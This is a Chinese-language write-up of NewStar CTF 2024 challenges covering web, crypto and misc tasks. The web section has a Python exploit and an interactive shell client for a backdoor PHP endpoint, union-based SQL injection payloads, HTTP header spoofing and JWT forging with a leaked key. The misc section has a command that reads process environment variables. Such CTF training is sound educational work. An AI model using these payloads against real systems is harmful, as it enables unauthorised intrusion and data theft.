前言
本系列为CTF专栏篇,在此特别感谢上海电力大学白帽子网络安全社团供稿支持,ONETS安全团队也将持续关注CTF、AWD等竞赛题目分享。同时,欢迎大家投稿分享相关内容,或者关注公众号加入网络安全技术交流群共同探讨。
💌题目来源:NewStar CTF 2024 (https://ns.openctf.net/)
Web方向
🔹headach3
题目源码如下:
打开浏览器开发者工具的「网络」(Network)选项卡,刷新网页,点击第一个请求,查看响应头,可以看到 flag.
关于响应头的具体内容,参见 HTTP 标头、响应标头:
https://developer.mozilla.org/en-US/docs/Glossary/Response_header
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers
🔹会赢吗?
本题考查的是网页和 JavaScript 的基础知识。
JavaScript 是现代网络开发中最重要的编程语言之一,它的历史充满了快速迭代、竞争、以及变革。它最早诞生于 1995 年,由 Brendan Eich 在短短 10 天内开发,并逐步演变成为如今的标准化、多功能的编程语言。
第一关
按下 F12,使用开发者工具查看源码
第二关
控制台是开发者调试 JavaScript 代码的利器,允许开发者在无需修改源代码的情况下,直接执行和测试代码。
这种即时反馈机制使得开发者可以迅速验证假设、检查问题或尝试新的代码逻辑。
仔细看源代码:
根据控制台的提示,只需要执行 revealFlag('4cqu1siti0n')(className 的值为 4cqu1siti0n)即可获得第二关的 flag。
第三关
修改前端,按下按钮得到一部分 flag.
第四关
源码中有<noscript>标签,可以使用浏览器插件或者浏览器设置禁用 JavaScript.
当然也可以直接根据前端逻辑去发送请求。
将 Flag 各个部分拼起来,随后 Base64 解密即可。
🔹智械危机
index.php 的基本提示:
明显的提示:查看 robots.txt,得到了路由 /backd0or.php
一个对新生来说略绕的 PHP 代码阅读,也对编写脚本、使用 WebShell 的能力进行初步的考查。
cmd 参数是Base64 编码后的 system 命令。
key 的验证逻辑:将cmd 参数值字符串翻转后,计算 MD5 哈希,并与 Base64 解码后的 key 进行比较。
因此我们将这个过程反过来,就可以得到解题 EXP:
import requests
import base64
import hashlib
print("[+] Exploit for newstar_zhixieweiji")
url = "http://yourtarget.com/backd0or.php"
cmd = "cat /flag"
cmd_encoded = base64.b64encode(cmd.encode()).decode()
cmd_reversed = cmd_encoded[::-1]
hashed_reversed_cmd = hashlib.md5(cmd_reversed.encode()).hexdigest()
encoded_key = base64.b64encode(hashed_reversed_cmd.encode()).decode()
payload = {
'cmd': cmd_encoded,
'key': encoded_key
}
response = requests.post(url, data=payload)
print(f"[+] Flag: {response.text}")
EXP 使用了 requests 库负责请求后门 shell,也可以用任何一款能够发出 POST 请求的工具完成这一操作,如 HackBar、BurpSuite 等。
出题人的胡诌
请各位选手打好编程基础,不要浮躁。这题的代码逻辑应该懂一点英语就能够看懂了,变量名称也没做混淆。AI 可能会胡编,但是完全可以给你提取出足够的关键词用于搜索。
这题的出法不鼓励手搓!!!先编码再逆序,执行一个指令都费劲,flag 位置没猜对就得再搓一遍。只要脚本写好,这题完全可以得到一个简洁的交互式 shell:
附代码:
import requests
import base64
import hashlib
print("[+] Shell for newstar_zhixieweiji")
url = input("[+] Enter the target URL: ")
def execute_command(cmd):
cmd_encoded = base64.b64encode(cmd.encode()).decode()
cmd_reversed = cmd_encoded[::-1]
hashed_reversed_cmd = hashlib.md5(cmd_reversed.encode()).hexdigest()
encoded_key = base64.b64encode(hashed_reversed_cmd.encode()).decode()
payload = {'cmd': cmd_encoded,'key': encoded_key}
response = requests.post(url, data=payload)
return response.text[:-1]
hostname = execute_command("hostname")
username = execute_command("whoami")
while True:
directory = execute_command("pwd")
command = input(f"{username}@{hostname}:{directory}$ ")
output = execute_command(command)
print(output)
过完开头的剧情,自动跳转到第一关。如果没有跳转或跳转出现问题,可以手动访问路径 /start 以快速进入关卡界面。
第一关
第一关界面如下
下方文字给出了提示「Header」。打开浏览器的开发者工具,在「网络」(Network)选项卡中找到网页的初始请求,查看响应标头,有一个 Location 字段
访问这个路径,进入下一关。
第二关
题目提示了「Query」和 ask=miao,其中「Query」指的就是 GET 请求的请求参数,在URL中路径后面 ? 开始就是查询字段,用 & 分隔,遇到特殊字符需要进行 URL Encode 转义。因此我们访问路径 /?ask=miao 即可进入下一关。
第三关
第三关给出的提示为:
用另一种方法(Method)打声招呼(say=hello)吧 ~
我们在浏览器地址栏输入网址,默认的方法就是 GET,常见的方法还有 POST,在一些表单提交等界面会使用它,在 HTTP 请求报文中就是最开始的那个单词。因此本关用 POST 请求发一个 say=hello 的查询即可。
POST 的查询类型有很多种,通过 HTTP 报文中的 Content-Type 指定,以告诉服务端用何种方式解析报文 Body 的内容。
我们可以用任意方式,那么我们选择用 application/x-www-form-urlencoded 发送个 say=hello 的请求包即可。
使用浏览器的 HackBar 插件:
注意
如果使用 HackBar 插件,请在 Modify Header 一栏中删除 Cookie 字段(删除后会自动采用浏览器当前的 Cookie),或者请手动更新该字段。因为 Cookie 携带着关卡信息,如果不更新该值,将永远停留在同一关。
你也可以用 BurpSuite、Yakit、VSCode REST Client 插件、curl 等工具进行发送原始 HTTP 报文,然后将返回的 Set-Cookie 字段手动存入浏览器的 Cookie 中。
POST /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Cookie:
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6M30.hc4vKSnI5KZxNFjD27qrms3z6TL6LRnF1qSk_t3ohOI
say=hello
第四关
来到这一关后由于 302 跳转可能会变成 GET 请求,再次用 POST 请求(携带新 Cookie)访问,得到提示「Agent」和 Papa,应当想到考查的是 HTTP 请求头中的 User-Agent Header.
题目的要求比较严格,User-Agent 必须按照标准格式填写(参见 User-Agent - HTTP | MDN: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent),因此需携带任意版本号发送一个 POST 请求:
POST /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
Content-Type: application/x-www-form-urlencoded
User-Agent: Papa/1.0
Content-Length: 9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6M30.hc4vKSnI5KZxNFjD27qrms3z6TL6LRnF1qSk_t3ohOI
say=hello
此时提示需要将 say 字段改成「玛卡巴卡阿卡哇卡米卡玛卡呣」(不包含引号对 「」),中文需要转义(HackBar 会自动处理中文的转义)。因此最终的报文为:
POST /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
Content-Type: application/x-www-form-urlencoded
User-Agent: OneTSTeam/1.0
Content-Length: 9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NH0.MDhNM30leuBXKpPLgqDnzmK3Zf2sAGdx8VtGcMf21k
Usay=%E7%8E%9B%E5%8D%A1%E5%B7%B4%E5%8D%A1%E9%98%BF%E5%8D%A1%E5%93%87%E5%8D%A1%E7%B1%B3%E5%8D%A1%E7%8E%9B%E5%8D%A1%E5%91%A3
如果使用 Hackbar,配置如下:
第五关
由于 302 跳转的缘故变成了 GET 请求,我们再用 POST 请求(携带新 Cookie)访问,得到的提示为:
或许可以尝试用修改(PATCH)的方法提交一个补丁包(name="file"; filename="*.zip")试试。
这是要求我们使用 PATCH 方法发送一个 ZIP 文件。
这一关是相对较难的一关,浏览器插件并不支持发送 PATCH 包和自定义文件,必须通过一些发包工具或者写代码来发送该内容。
PATCH 包的格式与 POST 无异,使用 Content-Type: multipart/form-data 发包即可,注意该 Header 的值后面需要加一个 boundary 表示界定符。
例如Content-Type: multipart/form-data; boundary=abc,那么在 Body 中,以 --abc 表示一个查询字段的开始,当所有查询字段结束后,用 --abc-- 表示结束。
关于 multipart/form-data
这个 Content-Type 下的 Body 字段不需要进行转义,每一个查询内容以一个空行区分元信息和数据(就和 HTTP 报文区分标头和 Body 的那样),如果数据中包含 boundary 界定符的相关内容,可能引起误解,那么可以通过修改 boundary 以规避碰撞情况(因此浏览器发送 mulipart/form-data 的表单时,boundary 往往有很长的 -- 并且包含一些长的随机字符串。
本题只检查文件名后缀是否为.zip. 因此如此发包即可:
PATCH /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
User-Agent: Papa/1.0
Content-Type: multipart/form-data; boundary=abc
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.xKi0JkzaQ0wwYyC3ebBpjuypRYvrYFICU5LSRLnWq_0
Content-Length: 168
--abc
Content-Disposition: form-data; name="file"; filename="1.zip"
123
--abc
Content-Disposition: form-data; name="say"
玛卡巴卡阿卡哇卡米卡玛卡呣
--abc--
返回的内容如下
通过浏览器开发者工具的「存储」(应用程序 » 存储)选项卡编辑 Cookie,将 Set-Cookie 字段的 token 值应用更新。随后再次携带新 Cookie 刷新网页即可。
第六关
本题提示内容指出了 localhost,意在表明需要让服务器认为这是一个来自本地的请求。
可以通过设置 Host X-Real-IP X-Forwarded-For Referer 等标头欺骗服务器。
以下任意一种请求都是可以的。
1.
GET /?ask=miao HTTP/1.1
Host: localhost
Referer: http://localhost
Cookie:
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y
2.
GET /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
X-Real-IP: 127.0.0.1
Cookie:
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y
3.
GET /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
X-Forwarded-For: 127.0.0.1
Cookie:
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y
注意
如果修改 Host,你需要确保你的 HTTP 报文是发向靶机的。一些工具会默认自动采用 Host 作为远程地址,或者没有自定义远程地址的功能。
随后提示给出了一段话:
其中提到了 JWT 和 Pe2K7kxo8NMIkaeN,这个数字和字母组成内容推测应当是 JWT 的密钥。
JWT 是一个轻量级的认证规范,允许在用户和服务器之间传递安全可靠的信息,但这是基于签名密钥没有泄露的情况下。
可以通过 JWT.IO (https://jwt.io/) 网站进行在线签名和验证(JWT 并不对数据进行加密,而仅仅是签名,不同的数据对应的羡签名不一样,因此在没有密钥的情况下,你可以查看里面的数据,但修改它则会导致服务器验签失败,从而拒绝你的进一步请求)。
将我们当前的 Cookie 粘贴入网站:
Payload,即 JWT 存放的数据,指明了当前的 Level 为 6,我们需要更改它,将它改为 0 即可。
可见左下角显示「Invalid Signautre」,即验签失败,粘贴入签名密钥之后,复制左侧 Encoded 的内容,回到靶机界面应用该 token 值修改 Cookie,再次刷新网页,即到达最终页面。
TIP
修改 level 为 0 而不是 7,是本题的一个彩蛋。本关卡不断提示「一方通行」,而「一方通行」作为动画番剧《魔法禁书目录》《某科学的超电磁炮》中的人物,是能够稳定晋升为 Level 6 的强者,却被 Level 0 的「上条当麻」多次击败。
但即使不了解该内容,也可以通过多次尝试找到 Level 0,做安全需要反常人的思维,这应当作为一种习惯。
第〇关·终章
点击提示中的「从梦中醒来」,过完一个片尾小彩蛋即获得 Flag 内容。
🔹谢谢皮蛋
本题考查的是 SQL 注入的相关知识,如果你从未了解和接触过数据库和 SQL 语句,你可能需要花费一定的时间快速了解并尝试。
题目考查数字型注入、联合注入
判断列数和回显位,其实看页面上的格式也基本可以判断
sql
1 order by 2#-1 union select 1,2#
查看当前数据库
sql
-1 union select 1,database()#
查看当前数据库所有表名
sql
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查看 Fl4g 表所有列名
sql
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='Fl4g' and table_schema=database()#
查看值得到 flag
sql
-1 union select group_concat(des),group_concat(value) from Fl4g#
Crypto方向
🔹xor
最简单的签到,但对完完全全零基础的同学来说,这道题涉及的知识点可能还不少,我们看题。
首先使用了两个 Python 库,pwntools 是 CTF nc 题的交互好工具(不仅仅是 pwn 题,密码、Misc 等的交互题也会用到),pycryptodome 是一个好用的密码学加密库。
确保 Python 环境正常后,在终端中分别输入以下命令进行安装:
pip install pwntools
pip install pycryptodome
这些库未来它们会是你的好帮手。这里展现的功能都只是冰山一角,具体功能是什么我们稍后解释。
此处出题人刻意地定义 key 为 bytes 类型而 flag 为 str 类型。
Python3 重要的特性之一是对字符串和二进制数据流做了明确的区分。
文本总是 Unicode,由 str 类型表示,二进制数据则由 bytes 类型表示。
Python3 不会以任意隐式的方式混用 str 和 bytes,你不能拼接字符串和字节流,也无法在字节流里搜索字符串(反之亦然),也不能将字符串传入参数为字节流的函数(反之亦然)。需要进行编码操作才能转换为 bytes 类型进行后续的运算。
接着是 bytes_to_long 函数,从函数名也可以猜出来,这个函数是将 bytes 类型转换为数字,具体是怎么转换的?大家可以尝试的将最后的整数变成 16 进制来看,举个例子:
text=b'NewStar'
print(bytes_to_long(text))
# 22066611359080818
print(hex(bytes_to_long(text)))
# 0x4e657753746172
从 16 进制来看就很直观了 0x4e657753746172,N 的 ASCII 值是 78=0x4e,e 的 ASCII值是 101=0x65,以此类推,直观来看就是把 16 进制数串连起来,我们就把 bytes 类型的 NewStar 转成了一个整数。
那么我们终于进入了这道题考查的重点——异或(XOR),在某些书中也称它为「模二加」。异或运算的规则是:
就像不进位的模2加法一样。异或在编程语言中常用符号 ^ 表示,在数学中常用符号 ⊕ 表示。
当两个数异或之后,异或的结果与其中一个数再异或即可得到剩下的一个数字。
此处我使用了 2 种方式进行异或:一个是直接用 ^ 对整数进行运算;另一个是用 pwntools 中的 xor(),它可以将不同类型和长度的数据进行异或。
既然已知 key 的话,利用异或的性质,再异或 1 次即可获得 flag.
from pwn import xor
from Crypto.Util.number import long_to_bytes,bytes_to_long
key = b'New_Star_CTF'
c1 = 8091799978721254458294926060841
c2 = b';:\x1c1<\x03>*\x10\x11u;'
m1 = c1 ^ bytes_to_long(key)
m2 = xor(key, c2)
flag = long_to_bytes(m1) + m2
print(flag)
# flag{0ops!_you_know_XOR!}
🔹Base
这题就是很简单的 Base 编码,也可以从题目描述里面看的出来,知道是 Base 编码就可以尝试一下,使用 CyberChef 就能直接一把梭。
但 Base 编码的原理又是怎么样的?我们也可以来细致研究一下。
我们可以从最常见的 Base64 开始。
加密流程
1、转化为二进制
首先是将所需要加密的数据转换为二进制的数据,至于怎么将字母一类的数据转换为二进制,这就可以使用 ASCII 表去对应一下
这样的话我们就可以将字母数字转换为ASCII值了,举个例子,ctf 对应的十进制和二进制为
拼接之后就是,ctf 对应的二进制为 011000110111010001100110。
TIP
我们要注意的是,一个字母数字占8位,所以转换为二进制时若不足八位,在前面需要添零。
2、二进制截断
随后就是进行截断,因为是 Base64 编码(可以记住这个规律,2 的多少次方就按多少截断),所以是按 6 位进行截断。可以参考下面的图去理解一下:
这里将索引转换为 Base64 编码,还需要一张对应的表(Base64 编码表),一般常用的 Base64 的表如下:
这样我们就可以自己尝试去转换一下:
这样我们就成功将数据成功进行 Base64 编码了,即 ctf 对应的 Base64 编码为 Y3Rm。
拓展
对于其他的 Base 类型的编码,我们只需要知道对应的编码表,即可进行对应的编解码了。
🔹一眼秒了
在做题之前可以先看一下 RSA 算法原理详解、RSA 算法原理 这两篇文章,或者自己找一些文章学一下这个加密算法。
参考学习链接:
https://blog.csdn.net/dbs1215/article/details/48953589
https://blog.csdn.net/qq_36665989/article/details/123184780
拿到题目我们可以看到这个 n 比较小,那么我们就可以考虑分解 n 得到 p 和 q.
推荐一个在线网站 FactorDB 或者离线工具 CaptfEncoder.
分解得到 p 和 q,随后就是常规的解密流程了。
from Crypto.Util.number import *
from gmpy2 import *
n= 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
c=48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
p=7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421
q=7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093
assert p*q == n
phi = (p-1)*(q-1)
e = 65537
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
🔹Strange King
题目描述如下:
某喜欢抽锐刻 5 的皇帝想每天进步一些,直到他娶了个模,回到原点,全部白给😅 这是他最后留下的讯息:ksjr{EcxvpdErSvcDgdgEzxqjql},flag 包裹的是可读的明文
不难猜到是魔改的凯撒密码。题目描述中的数字 5 就是初始偏移量。「每天进步一些」代表偏移量在递增,对 26 取模后会到原点,偏移量每次增加是 26 的因子,此处是 2.
况且出题人连 {} 都没删掉,把 ksjr 和 flag 对照起来看也能看出来了吧!可以说是非常简单的古典密码了)
根据以上信息即可解出 flag。
def caesar(c, shift):
result = ""
for i in c:
if i.isalpha():
start = ord('A') if i.isupper() else ord('a')
result += chr((ord(i) - start - shift) % 26 + start)
else:
result += i
shift += 2
return result
c = 'ksjr{EcxvpdErSvcDgdgEzxqjql}'
shift = 5
flag = caesar(c, shift)
print("flag:", flag)
Misc方向
🔹decompress
根据给的正则表达式提示,密码是三位小写字母一位数字再加一位小写字母,共五位。爆破出来是xtr4m。
出题人使用的是不知道从哪下载的 passware,爆破了两分钟就出来了。
有些同学反映自己写脚本爆破不行,出题人用的压缩软件是 7zip,可能是因为每个压缩包分卷太小,7zip 为了防止 CRC 碰撞,压缩包里没有原始的 CRC 校验导致的。这确实是没考虑到的问题。
🔹WhereIsFlag
在后续,大家会接触到很多拿到服务器Shell后找到flag的场景。本题主要考查了这部分知识,在各个常见位置设置了或真或假的flag。并且介绍了cd ls cat 等常用命令的基础用法。
其实这题的后端是个 Python 程序(嘛,都说了是 Virtual Linux 了啦)(喜欢椰奶精心设计的雌小鬼版 Linux 吗)
真正的 flag 在 /proc/self/environ 文件(可用于获取当前进程的环境变量)内,只要执行下面的命令就能拿到 flag.
flag.
shell
cat /proc/self/environ
proc 目录是对当前操作系统进程的虚拟映射,在许多攻击场景中都有妙用,在此不展开。
🔹pleasingMusic
题目描述中提到:
一首歌可以好听到正反都好听
根据提示(其实也能听出来后半段音乐是倒放出来的)将音频进行反向处理实现倒放,再解析其中的摩斯电码(Morse Code)
可以手动翻译摩斯电码表,也可以使用在线解码。
🔹Labyirinth
题目描述如下:
听好了:9 月 23 日,NewStar2024 就此陷落。每抹陷落的色彩都将迎来一场漩涡,为题目带来全新的蜕变。
你所熟知的一切都将改变,你所熟悉的 flag 都将加诸隐写的历练。
至此,一锤定音。尘埃,已然落定。 #newstar# #LSB# #听好了#
其中提到了 LSB,即最低有效位隐写
使用 StegSolve 工具,查看 RGB 任一0通道得到二维码,扫描得到 flag
🔹兑换码
使用十六进制编辑器直接加大图片的 IHDR 高即可看到 flag
PNG 文件头具体可以参考下面介绍:
注:PNG 规范规定 IHDR 的高度可以任意修改,但宽度不能随意修改。
随时了解新动态,更多干货等着你